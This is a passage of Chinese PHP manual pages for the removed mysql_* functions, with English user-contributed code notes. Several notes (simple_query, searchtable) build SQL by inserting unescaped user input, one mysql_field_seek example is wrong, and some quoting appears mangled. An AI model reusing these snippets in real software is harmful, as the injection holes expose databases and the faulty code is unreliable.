I suggest you place this within a loop through your result rows and include a field flag check  around the echo to only show certain data types like this.

$y=mysql_num_fields($result);
while ($row=mysql_fetch_array($result)) {
  for ($x=0; $x<=$y; $x++) {
    $fieldname=mysql_field_name($result,$x);
    $fieldtype=mysql_field_type($result, $x);
    if ($fieldtype=='string' && $row[$fieldname]!='')
       echo $row[$fieldname].' , ';
   }
   echo '<br>';
}
aaronp123 att yahoo dott comm 21-Feb-2003 06:27
You could probably elaborate on this by sending a full sql query to this function...but I titled it simple_query() because it doesn't really allow for joins.  Never the less, if you want to get a quick array full of a single row result set this is painless:

function simple_query($table_name, $key_col, $key_val) {
    // open the db
    $db_link = my_sql_link();
    // query table using key col/val
    $db_rs = mysql_query("SELECT * FROM $table_name WHERE $key_col = $key_val", $db_link);
    $num_fields = mysql_num_fields($db_rs);
    if ($num_fields) {
        // first (and only) row
        $row = mysql_fetch_assoc($db_rs);
        // load up array
        for ($i = 0; $i < $num_fields; $i++) {
            $simple_q[mysql_field_name($db_rs, $i)] = $row[mysql_field_name($db_rs, $i)];
        }
        // and return
        return $simple_q;
    } else {
        // no rows
        return false;
    }
    mysql_free_result($db_rs);
}

**Please note that my_sql_link() is just a function I have to open up a my sql connection.**
jason dot chambes at phishie dot net 20-Feb-2003 06:07
<?
/*
    By simply calling the searchtable() function
    with these variables it will serach the desired
    database and procude a table for each field that
    there is a match.
*/

function searchtable($host,$user,$pass,$database,$tablename,$userquery)
{
    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());
    $fields = mysql_list_fields($database, $tablename, $link);
    $cols   = mysql_num_fields($fields);

    for ($i = 1; $i < $cols; $i++) {
        $allfields[] = mysql_field_name($fields, $i);
    }
    foreach ($allfields as $myfield) {
        $result = mysql_query("SELECT * FROM $tablename WHERE $myfield like '%$userquery%' ");
        if (mysql_num_rows($result) > 0){
            echo "<h3>search <i>$database</i> for <i>$userquery</i>, found match(es) in <i>$myfield</i>: </h3>\n";
            echo "<table border=1 align=\"center\">\n\t<tr>\n";
            for ($i = 1; $i < $cols; $i++) {
                echo "\t\t<th";
                if ($myfield == mysql_field_name($fields, $i)){
                    echo " bgcolor=\"orange\"> ";
                } else {
                    echo ">";
                }
                echo mysql_field_name($fields, $i) . "</th>\n";
            }
            echo "\t</tr>\n";
            $myrow = mysql_fetch_array($result);
            do {
                echo "\t<tr>\n";
                for ($i = 1; $i < $cols; $i++){
                    echo "\t\t<td> $myrow[$i] &nbsp;</td>\n";
                }
                echo "\t</tr>\n";
            } while ($myrow = mysql_fetch_array($result));
            echo "</table>\n";
        }
    }
}

searchtable($host,$user,$pass,$database,$tablename,$userquery);
?>
matt at iwdt dot net 23-Sep-2001 06:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error


将结果指针设置为指定的字段偏移量

  • ? mysql_field_name
  • mysql_field_table ?
  • PHP Manual
  • MySQL 函数
  • 将结果指针设置为指定的字段偏移量

mysql_field_seek

(PHP 4, PHP 5)

mysql_field_seek — 将结果指针设置为指定的字段偏移量

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_field_seek()
  • PDOStatement::fetch() 使用 cursor_orientation 和 offset 参数

说明

mysql_field_seek(resource $result, int $field_offset): bool

定位到指定字段偏移量。如果下次调用 mysql_fetch_field() 不包含字段偏移量，则会返回 mysql_field_seek() 中指定字段的偏移量。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

field_offset

数值型字段偏移量。 field_offset 从 0 开始。如果 field_offset 不存在，则会发出一个 E_WARNING 级别的错误

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • mysql_fetch_field() - 从结果集中取得列信息并作为对象返回

User Contributed Notes

adrien dot gibrat at gmail dot com 04-Oct-2008 01:12
Not dumb at all!!

It means that "mysql_field_seek" and "mysql_data_seek" are moving the same cursor... through the rows and columns of the result resource.

Also means that the cursor goes to a new row when it reach a final field(aka column), by exemple while looping with "mysql_fetch_field".

Calling "mysql_fetch_object", "mysql_fetch_array", "mysql_fetch_assoc"
and "mysql_fetch_row" seems to place the cursor at the end of the line.

So calling "mysql_fetch_field" without a field index, just after that, will return false.
chris at igwsolutions dot com 25-Apr-2008 03:23
I spent a good deal of time trying to get the example to work, but the example does not work.
To do what the exaple is trying to do, you would need to use mysql_data_seek

assume we have table named testing which contains
id      name
1       Hassan
2       Jack
3       Rose
---------------

Here is an expample that will do the above example.

Since I am more comfortable in a OOP setting, I used mysql_fetch_object

<?php
    require("myConnenctionFile.php");

    $sql="SELECT  * from testing";
    $result=mysql_query($sql);

    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (1      Hassan)
    mysql_data_seek($result,2);
    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (3      Rose)
    echo "<BR><BR>";
?>
Hassan Kazem 10-Jan-2008 10:34
an example of this function
assume we have table1 which contains
ID      Name
1       Hassan
2       Jack
3       Rose
---------------
<?php
mysql_connect("sql.server.com", "username", "password") or die(mysql_error());
mysql_select_db("database") or die(mysql_error());
$sql="SELECT  * from table1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $row['ID'] . ' ' . $row['Name']; // Output is (1      Hassan)
mysql_field_seek($result,2);
echo $row['ID'] . ' ' . $row['Name']; // Output is (3      Rose)
?>
---------------
// You can see that the seek command forwarded the pointer one step and skipped row number 2
poulpillusion at free dot fr 17-Apr-2007 07:44
A dumb comment... but it may save people some time :
mysql_field_seek != mysql_data_seek

In order to fetch again the results of a resource result from the beginning, you will use mysql_data_seek(id, 0)


取得指定字段所在的表名

  • ? mysql_field_seek
  • mysql_field_type ?
  • PHP Manual
  • MySQL 函数
  • 取得指定字段所在的表名

mysql_field_table

(PHP 4, PHP 5)

mysql_field_table — 取得指定字段所在的表名

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_field_direct() [table] 或 [orgtable]
  • PDOStatement::getColumnMeta() [table]

说明

mysql_field_table(resource $result, int $field_offset): string

返回指定字段所在的表名。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

field_offset

数值型字段偏移量。 field_offset 从 0 开始。如果 field_offset 不存在，则会发出一个 E_WARNING 级别的错误

返回值

The name of the table on success.

示例

Example #1 mysql_field_table() 示例

<?php

$query = "SELECT account.*, country.* FROM account, country WHERE country.name = 'Portugal' AND account.country_id = country.id";

// get the result from the DB
$result = mysql_query($query);

// Lists the table name and then the field name
for ($i = 0; $i < mysql_num_fields($result); ++$i) {
$table = mysql_field_table($result, $i);
$field = mysql_field_name($result, $i);

echo "$table: $field\n";
}

?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_fieldtable()

参见

  • mysql_list_tables() - 列出 MySQL 数据库中的表

User Contributed Notes

djafferian at sos dot ri dot gov 15-Jul-2014 02:35
This note may apply to anyone who might still be running MySQL 5.0.32 on Debian 4.0.  The mysql_field_table function may return an empty table name if the SELECT query involved uses GROUP BY or ORDER BY and references a view in the FROM clause.  This is caused by MySQL bug 28898, which was fixed in 5.0.46.  I encountered this when I noticed a difference between our production RSS feeds generated on a Debian 5.0.10 server running MySQL 5.0.51a, and the same feed generated on one of our test servers running MySQL 5.0.32 on Debian 4.0.
mehdi dot haresi at gmail dot com 17-Jul-2009 02:50
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
jorge at rhst dot net 29-Jul-2007 02:57
The function below takes a function and returns the col->table mapping as an array.

For example:

$query = "SELECT a.id AS a_id, b.id b_id FROM atable AS a, btable b"

$cols  = queryAlias($query);

print_r($cols);

Returns:

Array
(
    [a] => atable
    [b] => btable
)

I can't promise it's perfect, but this function never hit production cause I ended up using mysqli methods instead.

Enjoy
-Jorge

  /**
   * Takes in a query and returns the alias->table mapping.
   *
   * @param string $query
   * @return array of alias mapping
   */

  function queryAlias ( $query ) {

    //Make it all lower, we ignore case
    $substr = strtolower($query);

    //Remove any subselects
    $substr = preg_replace ( '/\(.*\)/', ", $substr);

    //Remove any special charactors
    $substr = preg_replace ( '/[^a-zA-Z0-9_,]/', ' ', $substr);

    //Remove any white space
    $substr = preg_replace('/\s\s+/', ' ', $substr);

    //Get everything after FROM
    $substr = strtolower(substr($substr, strpos(strtolower($substr),' from ') + 6));

    //Rid of any extra commands
    $substr = preg_replace(
                Array(
                    '/ where .*+$/',
                    '/ group by .*+$/',
                    '/ limit .*+$/' ,
                    '/ having .*+$/' ,
                    '/ order by .*+$/',
                    '/ into .*+$/'
                   ), ", $substr);

    //Remove any JOIN modifiers
    $substr = preg_replace(
                Array(
                    '/ left /',
                    '/ right /',
                    '/ inner /',
                    '/ cross /',
                    '/ outer /',
                    '/ natural /',
                    '/ as /'
                   ), ' ', $substr);

    //Replace JOIN statements with commas
    $substr = preg_replace(Array('/ join /', '/ straight_join /'), ',', $substr);

    $out_array = Array();

    //Split by FROM statements
    $st_array = split (',', $substr);

    foreach ($st_array as $col) {

      $col = preg_replace(Array('/ on .*+/'), ", $col);

      $tmp_array = split(' ', trim($col));

      //Oh no, something is wrong, let's just continue
      if (!isset($tmp_array[0]))
        continue;

      $first = $tmp_array[0];

      //If the "AS" is set, lets include that, if not, well, guess this table isn't aliased.
      if (isset($tmp_array[1]))
        $second = $tmp_array[1];
        else
        $second = $first;

      if (strlen($first))
       $out_array[$second] = $first;

    }

    return $out_array;
  }
spam at blondella dot de 03-Oct-2006 04:09
<?php
/*
this function might help in the case described above :-)
*/
function mysql_field_table_resolve_alias($inQuery,$inResult,$inFieldName) {
   $theNameOrAlias = mysql_field_table($inResult,$inFieldName);
   //check, if AS syntax is being used
   if(ereg(" AS ",$inQuery))  {
      //catch words in query
      $theWords = explode(" ",ereg_replace(",|\n"," ",$inQuery));
      //find the words preceding and following AS
      foreach($theWords as $theIndex => $theWord)  {
         if(trim($theWord) == "AS"
         && isset($theWords[$theIndex-1])
         && isset($theWords[$theIndex+1])
         && $theWords[$theIndex+1] == $theNameOrAlias
         ) {
            $theNameOrAlias = $theWords[$theIndex-1];
            break 1;
         }
      }
   }
   return $theNameOrAlias;
}
?>
me at thomaskeller dot biz 23-Nov-2005 01:15
Beware that if you upgrade to MySQL 5 from any earlier version WITHOUT dumping and reloading your data (just by keeping the binary data in MyISAM table files), you might get weird output on the "table" value for mysql_fetch_field and in this function. Weird means that the table name is randomly set or not.

This behaviour seems to popup only if the SQL query contains a ORDER BY clause. A bug is already reported:

http://bugs.mysql.com/bug.php?id=14915

To prevent the issue, dump and reload all participating tables in your query or do

CREATE TABLE tmp SELECT * FROM table;
DROP TABLE table;
ALTER TABLE tmp RENAME table;

on each one via commandline client.
cptnemo 14-Aug-2004 07:18
When trying to find table names for a (My)SQL query containing 'tablename AS alias', mysql_field_table() only returns the alias as specified in the AS clause, and not the tablename.


取得结果集中指定字段的类型

  • ? mysql_field_table
  • mysql_free_result ?
  • PHP Manual
  • MySQL 函数
  • 取得结果集中指定字段的类型

mysql_field_type

(PHP 4, PHP 5)

mysql_field_type — 取得结果集中指定字段的类型

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_field_direct() [type]
  • PDOStatement::getColumnMeta() [driver:decl_type] or [pdo_type]

说明

mysql_field_type(resource $result, int $field_offset): string

mysql_field_type() 和 mysql_field_name() 函数相似。参数完全相同，但返回的是字段类型而不是字段名。字段类型有"int"，"real"，"string"，"blob"以及其它，详见 » MySQL 手册。

Example #1 mysql_field_type() 例子

<?php
mysql_connect("localhost", "mysql_username", "mysql_password");
mysql_select_db("mysql");
$result = mysql_query("SELECT * FROM func");
$fields = mysql_num_fields($result);
$rows = mysql_num_rows($result);
$table = mysql_field_table($result, 0);
echo "Your '".$table."' table has ".$fields." fields and ".$rows." record(s)\n";
echo "The table has the following fields:\n";
for ($i=0; $i < $fields; $i++) {
$type = mysql_field_type($result, $i);
$name = mysql_field_name($result, $i);
$len = mysql_field_len($result, $i);
$flags = mysql_field_flags($result, $i);
echo $type." ".$name." ".$len." ".$flags."\n";
}
mysql_free_result($result);
mysql_close();
?>

以上例子将产生如下输出：

Your 'func' table has 4 fields and 1 record(s)
The table has the following fields:
string name 64 not_null primary_key binary
int ret 1 not_null
string dl 128 not_null
string type 9 not_null enum

为向下兼容仍然可以使用 mysql_fieldtype()，但反对这样做。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

field_offset

数值型字段偏移量。 field_offset 从 0 开始。如果 field_offset 不存在，则会发出一个 E_WARNING 级别的错误

返回值

The returned field type will be one of "int", "real", "string", "blob", and others as detailed in the » MySQL documentation.

示例

Example #2 mysql_field_type() example

<?php
mysql_connect("localhost", "mysql_username", "mysql_password");
mysql_select_db("mysql");
$result = mysql_query("SELECT * FROM func");
$fields = mysql_num_fields($result);
$rows = mysql_num_rows($result);
$table = mysql_field_table($result, 0);
echo "Your '" . $table . "' table has " . $fields . " fields and " . $rows . " record(s)\n";
echo "The table has the following fields:\n";
for ($i=0; $i < $fields; $i++) {
$type = mysql_field_type($result, $i);
$name = mysql_field_name($result, $i);
$len = mysql_field_len($result, $i);
$flags = mysql_field_flags($result, $i);
echo $type . " " . $name . " " . $len . " " . $flags . "\n";
}
mysql_free_result($result);
mysql_close();
?>

以上示例的输出类似于：

Your 'func' table has 4 fields and 1 record(s)
The table has the following fields:
string name 64 not_null primary_key binary
int ret 1 not_null
string dl 128 not_null
string type 9 not_null enum

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_fieldtype()

参见

  • mysql_field_name() - 取得结果中指定字段的字段名
  • mysql_field_len() - 返回指定字段的长度

User Contributed Notes

fred at dinkler dot com 08-Feb-2007 11:52
In MySQL 4.1.x, the four TEXT types (TINYTEXT, TEXT, MEDIUMTEXT, and LONGTEXT) return 'blob" as field types, not "string".
c dot futterlieb at bluewin dot ch 10-Dec-2006 06:06
Additional to the note below:
If you're using the "SHOW FIELDS" syntax, be sure that you're adding the table name instead of the db name in the "FROM" parameter:

<?php
$result = mysql_query("SHOW FIELDS FROM table");
?>

Also possible:

<?php
$result = mysql_query("SHOW FIELDS FROM table.db");
?>

or this:

<?php
$result = mysql_query("DESCRIBE table");
?>
http://dev.mysql.com/doc/refman/5.1/en/describe.html
fusionstream at gmail dot com 17-Sep-2006 09:19
krang at krang dot org dot uk
Condensed version of what KRANG said.

To get info on the MYSQL field type, use this code

<?
$result = mysql_query("SHOW FIELDS FROM db_name");

$i = 1;
while ($row = mysql_fetch_array($result)) { //go through one field at a time
  echo "Field $i: ";
  print_r($row) //display all information about A field which can be accessed thru the "$row" array.
  $i++;
}
?>

Will display something like:
Field 1: Array ( [Field] => SN [Type] => mediumint(8) unsigned [Null] => [Key] => PRI [Default] => [Extra] => auto_increment ) , SN, mediumint(8) unsigned
Field 2: Array ( [Field] => ENTITY_ID [Type] => varchar(20) [Null] => [Key] => [Default] => [Extra] => ) , ENTITY_ID, varchar(20)
mariob at menta dot net 07-Nov-2003 12:21
For version 4.3.4, types returned are:

STRING, VAR_STRING: string
TINY, SHORT, LONG, LONGLONG, INT24: int
FLOAT, DOUBLE, DECIMAL: real
TIMESTAMP: timestamp
YEAR: year
DATE: date
TIME: time
DATETIME: datetime
TINY_BLOB, MEDIUM_BLOB, LONG_BLOB, BLOB: blob
NULL: null
Any other: unknown
swalif_mesa at hotmail dot com 09-Jul-2003 10:38
Hmm for the previous comment, note that SHOW FIELDS is an alias of SHOW COLUMNS. Very useful if you need to search the mysql-documentation. Here is the link anyway...
http://www.mysql.com/doc/en/SHOW_DATABASE_INFO.html
krang at krang dot org dot uk 10-Mar-2002 06:13
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}


释放结果内存

  • ? mysql_field_type
  • mysql_get_client_info ?
  • PHP Manual
  • MySQL 函数
  • 释放结果内存

mysql_free_result

(PHP 4, PHP 5)

mysql_free_result — 释放结果内存

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_free_result()
  • Assign the value of null to the PDO object, or PDOStatement::closeCursor()

说明

mysql_free_result(resource $result): bool

mysql_free_result() 将释放所有与结果标识符 result 所关联的内存。

mysql_free_result() 仅需要在考虑到返回很大的结果集时会占用多少内存时调用。在脚本结束后所有关联的内存都会被自动释放。

成功时返回 true， 或者在失败时返回 false。

为向下兼容仍然可以使用 mysql_freeresult()，但反对这样做。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

返回值

成功时返回 true， 或者在失败时返回 false。

If a non-resource is used for the result, an error of level E_WARNING will be emitted. It's worth noting that mysql_query() only returns a resource for SELECT, SHOW, EXPLAIN, and DESCRIBE queries.

示例

Example #1 A mysql_free_result() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Could not run query: ' . mysql_error();
exit;
}
/* Use the result, assuming we're done with it afterwards */
$row = mysql_fetch_assoc($result);

/* Now we free up the result and continue on with our script */
mysql_free_result($result);

echo $row['id'];
echo $row['email'];
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： mysql_freeresult()

参见

  • mysql_query() - 发送一条 MySQL 查询
  • is_resource() - 查找变量是否为资源

User Contributed Notes

webmaster at bluesting dot co dot za 16-Mar-2011 04:44
mysql_query() also returns a resource for "OPTIMIZE TABLE" statements!
admin at ifyouwantblood dot de 18-Mar-2008 12:47
yes this function may increase the memory usage if you use unbuffered querys and if you have not fetched all the data from mysql. in this case the mysql api has a problem: you want to free the result but do not want to close the connection. now mysql will only accept another query if all data has been fetched, so the api now must fetch the rest of the data when calling mysql_free_result().

so only use unbuffered querys if you fetch all the data (and need it).
21-Nov-2006 02:53
If you're seeing warnings like "Warning: Unknown: 6 result set(s) not freed. Use mysql_free_result to free result sets which were requested using mysql_query() in Unknown on line 0" and want to turn them off, set mysql.trace_mode = Off in your php.ini


取得 MySQL 客户端信息

  • ? mysql_free_result
  • mysql_get_host_info ?
  • PHP Manual
  • MySQL 函数
  • 取得 MySQL 客户端信息

mysql_get_client_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_client_info — 取得 MySQL 客户端信息

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_get_client_info()
  • PDO::getAttribute() with attribute as PDO::ATTR_CLIENT_VERSION

说明

mysql_get_client_info(): string

mysql_get_client_info() 返回表示客户端库版本的字符串。

参数

此函数没有参数。

返回值

MySQL 客户端版本。

示例

Example #1 mysql_get_client_info() 示例

<?php
printf("MySQL client info: %s\n", mysql_get_client_info());
?>

以上示例的输出类似于：

MySQL client info: 3.23.39

参见

  • mysql_get_host_info() - 取得 MySQL 主机信息
  • mysql_get_proto_info() - 取得 MySQL 协议信息
  • mysql_get_server_info() - 取得 MySQL 服务器信息

User Contributed Notes

There are no user contributed notes for this page.


取得 MySQL 主机信息

  • ? mysql_get_client_info
  • mysql_get_proto_info ?
  • PHP Manual
  • MySQL 函数
  • 取得 MySQL 主机信息

mysql_get_host_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_host_info — 取得 MySQL 主机信息

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_get_host_info()
  • PDO::getAttribute() with attribute as PDO::ATTR_CONNECTION_STATUS

说明

mysql_get_host_info(resource $link_identifier = NULL): string|false

描述 connection 中使用的连接类型，包括服务器主机名。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

Returns a string describing the type of MySQL connection in use for the connection 或者在失败时返回 false.

示例

Example #1 mysql_get_host_info() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
printf("MySQL host info: %s\n", mysql_get_host_info());
?>

以上示例的输出类似于：

MySQL host info: Localhost via UNIX socket

参见

  • mysql_get_client_info() - 取得 MySQL 客户端信息
  • mysql_get_proto_info() - 取得 MySQL 协议信息
  • mysql_get_server_info() - 取得 MySQL 服务器信息

User Contributed Notes

There are no user contributed notes for this page.


取得 MySQL 协议信息

  • ? mysql_get_host_info
  • mysql_get_server_info ?
  • PHP Manual
  • MySQL 函数
  • 取得 MySQL 协议信息

mysql_get_proto_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_proto_info — 取得 MySQL 协议信息

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_get_proto_info()

说明

mysql_get_proto_info(resource $link_identifier = NULL): int|false

检索 MySQL 协议。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

Returns the MySQL protocol on success 或者在失败时返回 false.

示例

Example #1 mysql_get_proto_info() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
printf("MySQL protocol version: %s\n", mysql_get_proto_info());
?>

以上示例的输出类似于：

MySQL protocol version: 10

参见

  • mysql_get_client_info() - 取得 MySQL 客户端信息
  • mysql_get_host_info() - 取得 MySQL 主机信息
  • mysql_get_server_info() - 取得 MySQL 服务器信息

User Contributed Notes

There are no user contributed notes for this page.


取得 MySQL 服务器信息

  • ? mysql_get_proto_info
  • mysql_info ?
  • PHP Manual
  • MySQL 函数
  • 取得 MySQL 服务器信息

mysql_get_server_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_server_info — 取得 MySQL 服务器信息

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_get_server_info()
  • PDO::getAttribute() with attribute as PDO::ATTR_SERVER_VERSION

说明

mysql_get_server_info(resource $link_identifier = NULL): string|false

检索 MySQL 服务器版本。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

Returns the MySQL server version on success 或者在失败时返回 false.

示例

Example #1 mysql_get_server_info() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
printf("MySQL server version: %s\n", mysql_get_server_info());
?>

以上示例的输出类似于：

MySQL server version: 4.0.1-alpha

参见

  • mysql_get_client_info() - 取得 MySQL 客户端信息
  • mysql_get_host_info() - 取得 MySQL 主机信息
  • mysql_get_proto_info() - 取得 MySQL 协议信息
  • phpversion() - 获取当前的PHP版本

User Contributed Notes

cmscoder at seasamecreek dot info 16-May-2008 04:55
Here is something I put together because I needed a way to pull the MySQL version number from the server without actually having a connection.  This was due to being part of a server info screen prior to installation of a cms.  Users need to know if their MySQL is supported or not prior to installation right? :)

This will scrape the phpinfo page looking for the MySQL row that says Client API version and return the version number after it.  This could also be used to scrape just about anything from the phpinfo page. :)

ob_start();
phpinfo(INFO_MODULES);
$info = ob_get_contents();
ob_end_clean();
$info = stristr($info, 'Client API version');
preg_match('/[1-9].[0-9].[1-9][0-9]/', $info, $match);
$gd = $match[0];
echo 'MySQL:  '.$gd.' <br />';

This will output:
MySQL: 4.1.22 (which is the version on my server)

I know this is crude but it's the only thing I could come up with and there isn't anything like this info available online so here it is.  I suck at preg_match and it would be helpful if someone could modify the string here to stand the test of time.
Kalle Sommer Nielsen 29-May-2007 04:54
An alternative to mysql_get_client_info() is to use the VERSION() function in MySQL language like:

<?php
$query = mysql_query("SELECT VERSION() as mysql_version");
?>

The output is the same as mysql_get_client_info()
cNOooSPAMlmax1 at o2 dot pl 08-Jul-2006 04:27
That's better:

<?php
mysql_connect('localhost', 'user', 'password') or
   die('Could not connect: ' . mysql_error());
$a = mysql_get_server_info();
$b = substr($a, 0, strpos($a, "-"));
echo $b;
?>


获取最近查询的有关信息

  • ? mysql_get_server_info
  • mysql_insert_id ?
  • PHP Manual
  • MySQL 函数
  • 获取最近查询的有关信息

mysql_info

(PHP 4 >= 4.3.0, PHP 5)

mysql_info — 获取最近查询的有关信息

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_info()

说明

mysql_info(resource $link_identifier = NULL): string

返回最近一条查询的详细信息。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

在成功时返回语句信息，在失败时返回 false。请查看下面的示例，了解哪些语句提供信息，以及返回值可能是什么样子。未列出的语句将返回 false。

示例

Example #1 相关的 MySQL 语句

返回字符串值的语句。这些数字仅用于说明目的；它们的值将与查询相对应。

INSERT INTO ... SELECT ...
String format: Records: 23 Duplicates: 0 Warnings: 0
INSERT INTO ... VALUES (...),(...),(...)...
String format: Records: 37 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ...
String format: Records: 42 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE
String format: Records: 60 Duplicates: 0 Warnings: 0
UPDATE
String format: Rows matched: 65 Changed: 65 Warnings: 0

注释

Note:

mysql_info() 对于 INSERT ... VALUES 语句仅在该语句中列出了多个值的情况下返回非 false 的值。

参见

  • mysql_affected_rows() - 取得前一次 MySQL 操作所影响的记录行数
  • mysql_insert_id() - 取得上一条查询生成的 ID
  • mysql_stat() - 取得当前系统状态

User Contributed Notes

tomas at matfyz dot cz 06-Dec-2008 03:57
Please note that the information on warning count cannot be taken from the mysql_info() due to mysql bugs #41283 and #41285:

http://bugs.mysql.com/?id=41283
http://bugs.mysql.com/?id=41285
bdobrica at gmail dot com 24-Apr-2006 12:18
As a solution to the problem pointed in the post reffering to mysql_affected_rows() returning 0 when you are making an update query and the fields are not modified although the query is valid, i'm posting the following function. It is very simple and based on a previous post.

function mysql_modified_rows () {
        $info_str = mysql_info();
        $a_rows = mysql_affected_rows();
        ereg("Rows matched: ([0-9]*)", $info_str, $r_matched);
        return ($a_rows < 1)?($r_matched[1]?$r_matched[1]:0):$a_rows;
        }

Hope you'll find it usefull.
info at granville dot nl 09-Nov-2005 03:25
Imade a quick conversion of eric's function just to count matched or affected rows from a query.

/**GD gdf_db_count_query_v1: returns the amount of rows matched or affected by the last query. Must be used immediately after the concerned query.
*/

function gdf_db_count_query($link = 'dbh') {

    $info_str = mysql_info($$link);

       if (ereg("Records: ([0-9]*)", $info_str, $count) == false) {
        ereg("Rows matched: ([0-9]*)", $info_str, $count);
    }

    return $count;

}
eric at projectsatellite dot com 22-Sep-2003 02:54
I agree that this is a useful function to use when trying to check on whether an update query matched a particular row. I created a simple function that returns an associative array with the values delineated in the returned string.

function get_mysql_info($linkid = null){
    $linkid? $strInfo = mysql_info($linkid) : $strInfo = mysql_info();

    $return = array();
